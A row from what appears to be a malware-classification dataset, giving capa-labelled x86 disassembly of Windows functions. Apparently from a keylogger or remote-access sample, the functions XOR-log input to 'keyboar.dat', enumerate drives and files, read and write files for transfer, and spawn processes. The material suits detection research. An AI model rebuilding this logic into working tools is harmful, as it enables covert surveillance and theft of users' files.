joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403960
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423270
push 0x418f08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.00418cdc
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x403aba
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x403a0b
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x403a0b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4039e6
cmp al, 0x5c
je 0x4039e6
push esi
call dword [0x42e204]
mov esi, eax
jmp 0x4039ce
cmp byte [esi], 0
je 0x4039ef
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403a04
cmp al, 0x5c
je 0x403a04
push esi
call dword [0x42e204]
mov esi, eax
jmp 0x4039ec
cmp byte [esi], 0
je 0x403a2a
jmp 0x403a26
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x403a2a
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403a2a
cmp al, 0x5c
jne 0x403a2a
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x403a80
cmp al, 0x5c
jne 0x403a72
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x403a65
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x403a6f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403a6f
push edi
jmp 0x403ab2
and eax, 0x10
cmp al, 0x10
je 0x403a6f
push edi
jmp 0x403ab2
mov byte [esi], 0x5c
push esi
call dword [0x42e204]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x403a30
mov dword [ebp - 4], 0xffffffff
push edi
call fcn.00418e16
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.00418e16
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403ae0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call fcn.00418fe0
add esp, 8
test eax, eax
jne 0x403b24
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ebp, dword [0x42e0e4]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x403b51
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, dword [esp + 0x10]
mov esi, dword [0x42e0e8]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [0x42e0ec]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [0x42e208]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x403bd0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
lea edx, [esp + 0x6c]
push 0x4281b4
push edx
call fcn.00418ae0
add esp, 8
test eax, eax
jne 0x403c4d
lea eax, [esp + 0x6c]
push 0x4281b0
push eax
call fcn.00418ae0
add esp, 8
test eax, eax
jne 0x403c4d
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x4281ac
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x403c5c
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x403c84
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret 8

Function at 0x403cc0
Capabilities:
Create process on windows

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x104
test edx, edx
jne 0x403cd9
xor al, al
add esp, 0x104
ret 8
push ebx
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0xc]
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x104
ret 8
Function at 0x403d30
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push 0x100
mov byte [esp + 0x394], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x403ecd
push esi
push edi
jmp 0x403d8a
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [0x42e15c]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x344]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x30]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x403e3c
cmp al, 0x42
je 0x403e3c
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x24]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x403e3c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.00419010
mov edx, dword [esp + 0x24]
mov esi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.00419010
mov dword [esp + 0x10], eax
jmp 0x403e42
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x395], al
mov eax, ecx
mov dword [esp + ebx + 0x396], esi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x34]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x403d88
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.0040a640
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x403ef0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x254
push ebp
push esi
push edi
mov esi, 0x2800
mov edi, ecx
push esi
push 0x40
mov dword [esp + 0x20], edi
mov dword [edi + 0x1c], 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [esp + 0x264]
push eax
lea ecx, [esp + 0x160]
push str._s.
push ecx
call dword [0x42e208]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x15c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x403f73
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, edi
mov byte [esp + 0x17], 0x68
call fcn.0040a640
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
push ebx
mov byte [ebp], 0x68
mov ebx, 1
jmp 0x403f83
mov esi, dword [esp + 0x18]
lea edx, [esi - 0x208]
cmp ebx, edx
jbe 0x403fa3
add esi, 0x208
push 0x42
push esi
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edi, 0x4281d4
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x403fd4
test al, al
je 0x403fd0
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x403fd4
add esi, 2
add edi, 2
test al, al
jne 0x403fac
xor eax, eax
jmp 0x403fd9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404073
mov edi, 0x4281d0
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x404012
test al, al
je 0x40400e
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x404012
add esi, 2
add edi, 2
test al, al
jne 0x403fea
xor eax, eax
jmp 0x404017
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404073
mov al, byte [esp + 0x20]
lea ecx, [esp + 0x4c]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x4c]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x40]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x34]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x38]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403f7f
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.0040a640
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
Function at 0x4041a0
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x20]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push 0x80000000
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404204
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.0040a640
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4

Function at 0x4042a0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x4042be
call fcn.00404380
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4042e9
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x404361
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.0040a640
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.00404380
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
Function at 0x404510
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0xffffffffffffffff
push 0x42227b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x46c
push ebp
push esi
mov esi, dword [esp + 0x484]
mov dword [esp + 8], ecx
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x270]
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
je 0x404562
mov edi, 0x4281f0
mov dword [esp + 0x14], edi
jmp 0x40456e
mov dword [esp + 0x14], 0x42e640
mov edi, dword [esp + 0x14]
mov ebp, dword [0x42e208]
push edi
push esi
lea eax, [esp + 0x278]
push str._s_s.
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x270]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x28], eax
jne 0x4045ab
xor al, al
jmp 0x404720
push ebx
xor ebx, ebx
cmp byte [esp + 0x5c], 0x2e
je 0x4046fa
test byte [esp + 0x30], 0x10
lea eax, [esp + 0x5c]
push eax
push edi
push esi
push str._s_s_s
je 0x4045ef
lea ecx, [esp + 0x388]
push ecx
call ebp
mov ecx, dword [esp + 0x24]
add esp, 0x14
lea edx, [esp + 0x378]
push edx
call fcn.00404510
jmp 0x4046fa
lea ecx, [esp + 0x180]
push ecx
call ebp
lea edi, [esp + 0x184]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
mov dl, byte [esp + 0x17]
push 1
not ecx
dec ecx
mov byte [esp + 0x20], dl
mov ebp, ecx
lea ecx, [esp + 0x20]
push ebp
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.00404fc0
test al, al
je 0x404659
mov edi, dword [esp + 0x20]
mov ecx, ebp
mov eax, ecx
lea esi, [esp + 0x170]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x24], ebp
mov byte [ecx + ebp], bl
mov edx, dword [esp + 0x10]
push 0x18
mov dword [esp + 0x488], ebx
mov esi, dword [edx + 0x14]
mov edi, dword [esi + 4]
call fcn.0041826e
add esp, 4
cmp esi, ebx
mov ecx, esi
jne 0x40467c
mov ecx, eax
mov dword [eax], ecx
cmp edi, ebx
mov ecx, edi
jne 0x404686
mov ecx, eax
mov dword [eax + 4], ecx
mov dword [esi + 4], eax
mov ecx, dword [eax + 4]
mov dword [ecx], eax
lea ecx, [esp + 0x1c]
add eax, 8
push ecx
push eax
call fcn.00405210
mov eax, dword [esp + 0x18]
add esp, 8
mov dword [esp + 0x484], 0xffffffff
mov edx, dword [eax + 0x18]
inc edx
mov dword [eax + 0x18], edx
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x4046dd
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4046d4
cmp al, 0xff
je 0x4046d4
dec al
mov byte [ecx], al
jmp 0x4046dd
push ecx
call fcn.0041827c
add esp, 4
mov esi, dword [esp + 0x48c]
mov edi, dword [esp + 0x18]
mov ebp, dword [0x42e208]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4045ae
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop ebx
mov ecx, dword [esp + 0x478]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x478
ret 4
Function at 0x4049e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.0040a640
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x405570
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055c4
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call fcn.0041826e
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.00405510
add esp, 0x10
cmp eax, 0xffffffff
jne 0x40562f
push edi
call fcn.0041827c
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x405640
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x14]
push str.keyboar.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
lea edx, [esp + 0x28]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x4056ae
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x11c]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call fcn.0041826e
add esp, 4
mov edi, eax
test esi, esi
jle 0x4056dd
mov ecx, ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x4056d1
lea eax, [esp + 0x10]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret

Function at 0x406330
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call fcn.00418fe0
mov esi, eax
add esp, 8
inc esi
jne 0x406351
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.00411170
add esp, 8
test al, al
jne 0x406365
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Ball_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x4063b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4064a4
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push 0x80000000
call dword [0x42e0e4]
test eax, eax
jne 0x4064a4
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [0x42e0e8]
mov ecx, dword [esp + 8]
push ecx
call dword [0x42e0ec]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4064a4
lea eax, [esp + 0x64]
push 0x4281b0
push eax
call fcn.00418ae0
add esp, 8
test eax, eax
je 0x4064a4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x20], 0x44
test eax, eax
je 0x40647e
mov dword [esp + 0x28], str.WinSta0Default
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret

Function at 0x4065e0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
push esi
push eax
mov dword [esp + 8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x14]
sub eax, 2
je 0x406623
push 0x428c04
push str.
call dword [0x42e208]
add esp, 8
mov eax, str.
pop esi
add esp, 0x9c
ret
mov eax, dword [esp + 8]
mov esi, dword [0x42e208]
cmp eax, 4
ja 0x406641
push str.Windows_NT
push str.
call esi
add esp, 8
cmp dword [esp + 8], 5
jne 0x40669d
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x406668
push str.Windows_2000
push str.
call esi
mov eax, dword [esp + 0x10]
add esp, 8
cmp eax, 5
jne 0x40669d
cmp dword [esp + 0xc], 1
jne 0x406687
push str.Windows_XP
push str.
call esi
mov eax, dword [esp + 0x10]
add esp, 8
cmp eax, 5
jne 0x40669d
cmp dword [esp + 0xc], 2
jne 0x4066b3
push str.Windows_2003
push str.
call esi
add esp, 8
cmp dword [esp + 8], 6
jne 0x4066b3
push str.Windows_Windows7_Vista_2008
push str.
call esi
add esp, 8
mov eax, str.
pop esi
add esp, 0x9c
ret